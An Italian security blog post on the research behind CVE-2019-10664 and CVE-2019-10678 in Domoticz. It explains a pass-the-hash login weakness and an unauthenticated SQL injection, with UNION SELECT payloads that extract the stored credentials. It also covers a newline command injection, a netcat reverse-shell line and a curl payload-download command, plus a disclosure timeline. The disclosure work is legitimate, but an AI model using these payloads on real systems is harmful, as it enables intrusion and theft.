Security

Domoticz: from zero to shell (CVE-2019-10664 and CVE-2019-10678)

SQLi + RCE = full control!

Fabio Carretto Aprile, 2020
Domoticz: from zero to shell (CVE-2019-10664 and CVE-2019-10678)

Domoticz è un sistema di automazione multipiattaforma e open-source che permette di monitorare e gestire vari dispositivi dell'Internet Of Things come: luci, interruttori, sensori di temperatura, ecc. Il sistema può essere gestito tramite un'applicazione web ma l'autenticazione risulta essere disabilitata di default...


Password exchange debole

La fase di login prevede l'invio delle credenziali inserite dall'utente al server, effettuando la codifica dello username in base64 e l'hash della password con algoritmo MD5. Queste informazioni sono generate lato client e il server riceve pertanto un valore in base64 e un hash MD5, che utilizza per convalidarli con quanto salvato su database. Di seguito la richiesta catturata utilizzando Burp Suite:
Domoticz login request
Nel workflow descritto il valore dell'hash sostituisce completamente il concetto della password! Un attaccante che entra in possesso delle credenziali salvate sul database, compromettendo una qualsiasi componente del sistema, è in grado di impersonare la vittima sulla piattaforma senza sforzi aggiuntivi. Infatti, trasmettendo sulla rete l'hash, non è necessario dover risalire alla password in chiaro tramite, ad esempio, una procedura di bruteforce.


Path accessibili da non autenticati

Dal codice è possibile notare che per ogni "route" (percorso di una richiesta web), esiste un particolare metodo in Webserver.cpp che gestisce e soddisfa la richiesta. Estraendo le route web associate ad un metodo, è possibile affinare l'enumerazione, estrapolando dal codice tutti i path realmente attivi e che risultano accessibili da non autenticati. Dopo essersi assicurati che l'autenticazione sia abilitata, si sono ottenuti, tramite richieste web puntuali, tutti i path accessibili senza essersi autenticati (HTTP response code 200).
Uno dei percorsi accessibili è /images/floorplans/plan e sarà particolarmente interessante per il prossimo attacco.


SQL Injection

Domoticz utilizza il database SQLite3 e la sua libreria ufficiale per la memorizzazione e per l'interrogazione dei dati. Le query sono costruite grazie a una funzione che, in modo simile alla famiglia delle funzioni printf, utilizza la stringhe di formato. La libreria nativa di sqlite mette a disposizione un placeholder aggiuntivo: "%q". Quest'ultimo è adatto all'utilizzo di stringhe perchè effettua automaticamente l'escape del carattere apice, duplicandolo in modo da evitare iniezione di codice SQL nella query. Tuttavia, è stata individuata una sezione di codice che usa il classico "%s" per includere una stringa.
Domoticz imagefloorplane SQLi source code
Il parametro della richiesta GET viene incluso come stringa nella query, che tratta implicitamente il valore di ID come un numerico, omettendo gli apici, però allo stesso tempo non viene eseguito un cast al tipo intero e viene usato il placeholder %s.
Quindi, grazie alla mancanza di ogni forma di sanitizzazione del parametro, è possibile iniettare una stringa arbitraria nel parametro idx, dando vita ad una graziosa SQL Injection.
Ma la cosa più interessante è che lo stesso metodo si occupa della gestione delle richieste GET arrivate dal percorso web  /images/floorplans/plan, uno di quelli accessibili anche se presente l'autenticazione!!
La struttura del database, i nomi delle variabili e delle colonne sono tutte informazioni che si possono ottenere analizzando il database dell'applicazione in locale con il programma sqlite3.
Le credenziali dell'utente sono quindi salvate nella tabella Preferences, nei campi WebUserName e WebPassword.
Si può quindi estrarre lo username con il seguente payload: 
1 UNION SELECT sValue FROM Preferences WHERE Key="WebUserName" --
A tale richiesta il server web risponde fornendo lo username dell'utente così come salvato su database.
Domoticz username sqli
Osservando il contenuto della risposta è identificabile una sola stringa che è codificata in base64 ed equivale allo username "admin"!
Allo stesso modo è possibile ottenere l'hash della password con il seguente payload:
1 UNION SELECT sValue FROM Preferences WHERE Key="WebPassword" --
Di seguito la risposta del server:
Domoticz password SQLi
La possibilità di accedere al percorso web senza previa autenticazione permette quindi di estrarre le credenziali e di bypassare completamente l'autenticazione!

Grazie SQL Injection! Ma non è che continuando a cercare...


Command injection

La pagina di configurazione del software permette di agire sul comportamento dell'applicazione ed uno dei valori controllabili corrisponde al comando di linux  uvccapture, utilizzato per catturare le immagini e che permette di specificare quali argomenti passargli al momento dell'esecuzione. Per questa funzionalità viene utilizzata la system call system del comando uvccapture concatenando ad esso i parametri configurati dall'utente. L'esecuzione avviene però solo al momento dell'acquisizione da una telecamera.
La modifica dei parametri di uvccapture avviene tramite una chiamata POST al percorso web /storesettings.webem e si è notato un comportamento interessante con alcuni caratteri. Il server memorizza i parametri solo dopo un controllo sulla stringa, abortendo l'azione se vengono identificati dei caratteri presenti in una blacklist. La lista dei caratteri non permessi include: $, |, ;, &. Tra i caratteri filtrati però ne mancano alcuni che sono utili all'interno di una shell per "rompere" la sintassi ed inserire nuovi comandi, come \n e \r. Il carattere di newline inizia una nuova riga che la shell interpreta come un secondo comando indipendente. Il POC utilizzato nella prossima figura sfrutta curl al fine di ottenere un evidenza del funzionamento.
Domoticz Command Injection PoC
Il comando, salvato nelle impostazioni, viene eseguito quando si acquisisce da una telecamera (Setup > More Options > Cameras). Nel caso non sia presente una telecamera è comunque possibile aggiungerne una fittizia. Nel momento in cui si effettua l'acquisizione, o un'anteprima della telecamera, viene eseguito il comando dalla system con la stringa iniettata. Con netcat in ascolto sulla porta 8888 è possibile verificare l'efficacia dell'esecuzione di comandi.
Domoticz curl RCE
A causa del filtro sui caratteri non è possibile specificare direttamente comandi articolati al fine di redirigere l'input e/o l'output e il processo non può essere mandato in background.
Ad esempio, il comando `nc ip port -e /bin/sh`, utile per ottenere una reverse shell, potrebbe funzionare, se sul sistema fosse presente netcat e fosse compilato con l'opzione -e, ma bloccherebbe il webserver di Domoticz fino alla terminazione del processo (not so stealth!). Si noti che anche il carattere ` non faceva parte della blacklist ed è stato fixato poco tempo dopo con una commit successiva.


Chaining together

Alla fine, unendo i pezzi, si hanno:
  • SQL Injection da non autenticati => Totale bypass dell'autenticazione
  • Command injection da configurazioni => Esecuzione di comandi arbitrari
La loro combinazione è un Remote Command Execution da non autenticati, Yeah!
Al fine di avere un exploit, è stato scritto un modulo stand-alone in python. Sono state pensate 3 modalità di iniezione per dare massima elasticità e permettere l'esecuzione di payload arbitrari, bypassando il blocco sui caratteri filtrati:
  1. La modalità predefinita esegue un semplice web server che restituisce un payload arbitrario e inietta in Domoticz il comando `curl IP -o /tmp/myexec.sh -m 5` in modo da scaricare ed eseguire il payload sul target.
  2. Con il parametro -zipcmd effettua l'upload di un package di icone fasulle (fake icon), una delle quali conterrà al suo interno il payload specificato.
  3. La modalità diretta, con il parametro -direct, inietta direttamente il payload specificato nel parametro di uvccapture, in questo caso però non è possibile nè usare la pipe nè mandare in backgroud il comando.

Lo script è stato rilasciato su exploit-db al seguente indirizzo: Domoticz 4.10577 - Unauthenticated Remote Command Execution


Timeline

Data Cosa
29/03/2019   La vulnerabilità è stata segnalata agli sviluppatori.
29/03/2019  Domoticz rilascia la patch.
31/03/2019  La vulnerabilità è stata resa pubblica, il mitre assegna il CVE-2019-10664 e il CVE-2019-10678.
30/04/2019   Viene rilasciato l'exploit su exploit-db.


Summary

In questo articolo è stato analizzato il processo di ricerca che ha portato alla scoperta di alcune vulnerabilità che permettono di ottenere il controllo completo di un server con Domoticz.


Riferimenti

Articoli correlati

Security

Articoli in evidenza

Approfondimenti

UNISCITI A NOI. INVIA LA TUA CANDIDATURA

Certimeter Group crede nei valori, nella passione e nella professionalità delle persone.